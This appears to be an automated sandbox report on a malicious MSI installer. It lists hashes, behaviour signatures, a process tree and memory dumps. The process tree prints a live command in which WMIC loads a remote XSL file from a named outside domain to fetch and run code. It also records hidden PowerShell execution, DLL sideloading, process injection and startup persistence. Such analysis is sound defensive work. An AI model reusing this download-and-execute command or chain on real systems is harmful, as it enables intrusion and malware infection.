Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    02-12-2021 10:54

General

  • Target

    test/91B5DB3C0CCBD68BD04C24571E27F99D.msi

  • Size

    277KB

  • MD5

    91b5db3c0ccbd68bd04c24571e27f99d

  • SHA1

    b01cb4fe38315d41fcbe9c6278ebe4574496ab0d

  • SHA256

    ec85138598c57c6a6bdb5ed470614f582d3b5a8c6b243eb2f41b9970ea13d130

  • SHA512

    9f0b07f961625fcc06ee64fcfe5e35e0d40db81f75c3cbc584434c1925fac241db69cac3c1a1bf329d965a4df9bdaa53c13bb8ea3206e2c9d4facf7f74ba21b7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Executes dropped EXE 3 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\test\91B5DB3C0CCBD68BD04C24571E27F99D.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:456
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Windows\system32\MsiExec.exe
      C:\Windows\system32\MsiExec.exe -Embedding 71AA96348EAD1512C0DEAD1857A022DF
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:680
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden
          4⤵
          • Blocklisted process makes network request
          • Drops startup file
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Users\Admin\AppData\Roaming\onCeN\nvsmartmaxapp.exe
            "C:\Users\Admin\AppData\Roaming\onCeN\nvsmartmaxapp.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:928
            • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
              "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
              6⤵
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:1632
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 331B5EA7F591BB202703D0E9130F74BA
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Users\Admin\AppData\Local\Temp\lc6D53.tmp
        "C:\Users\Admin\AppData\Local\Temp\lc6D53.tmp"
        3⤵
        • Executes dropped EXE
        PID:1704
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {2FA2400B-7297-4D55-A3FE-D90141BC507C} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Users\Admin\AppData\Roaming\onCeN\gup.exe
      C:\Users\Admin\AppData\Roaming\onCeN\gup.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:544
      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
        3⤵
        • Loads dropped DLL
        PID:456

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/456-55-0x000007FEFBFE1000-0x000007FEFBFE3000-memory.dmp

    Filesize

    8KB

  • memory/544-103-0x0000000000240000-0x0000000000363000-memory.dmp

    Filesize

    1.1MB

  • memory/680-59-0x0000000000360000-0x0000000000370000-memory.dmp

    Filesize

    64KB

  • memory/928-97-0x0000000000070000-0x0000000000071000-memory.dmp

    Filesize

    4KB

  • memory/928-88-0x00000000004D0000-0x000000000084D000-memory.dmp

    Filesize

    3.5MB

  • memory/1632-90-0x0000000000080000-0x0000000000081000-memory.dmp

    Filesize

    4KB

  • memory/1632-93-0x0000000001FB0000-0x000000000232D000-memory.dmp

    Filesize

    3.5MB

  • memory/1632-96-0x00000000000E0000-0x00000000000E1000-memory.dmp

    Filesize

    4KB

  • memory/1720-80-0x00000000024DB000-0x00000000024FA000-memory.dmp

    Filesize

    124KB

  • memory/1720-83-0x000000001BA60000-0x000000001BA79000-memory.dmp

    Filesize

    100KB

  • memory/1720-78-0x000000001B740000-0x000000001BA3F000-memory.dmp

    Filesize

    3.0MB

  • memory/1720-77-0x00000000024D4000-0x00000000024D7000-memory.dmp

    Filesize

    12KB

  • memory/1720-76-0x00000000024D2000-0x00000000024D4000-memory.dmp

    Filesize

    8KB

  • memory/1720-75-0x00000000024D0000-0x00000000024D2000-memory.dmp

    Filesize

    8KB

  • memory/1720-71-0x000007FEF26C0000-0x000007FEF321D000-memory.dmp

    Filesize

    11.4MB

  • memory/1872-62-0x00000000768A1000-0x00000000768A3000-memory.dmp

    Filesize

    8KB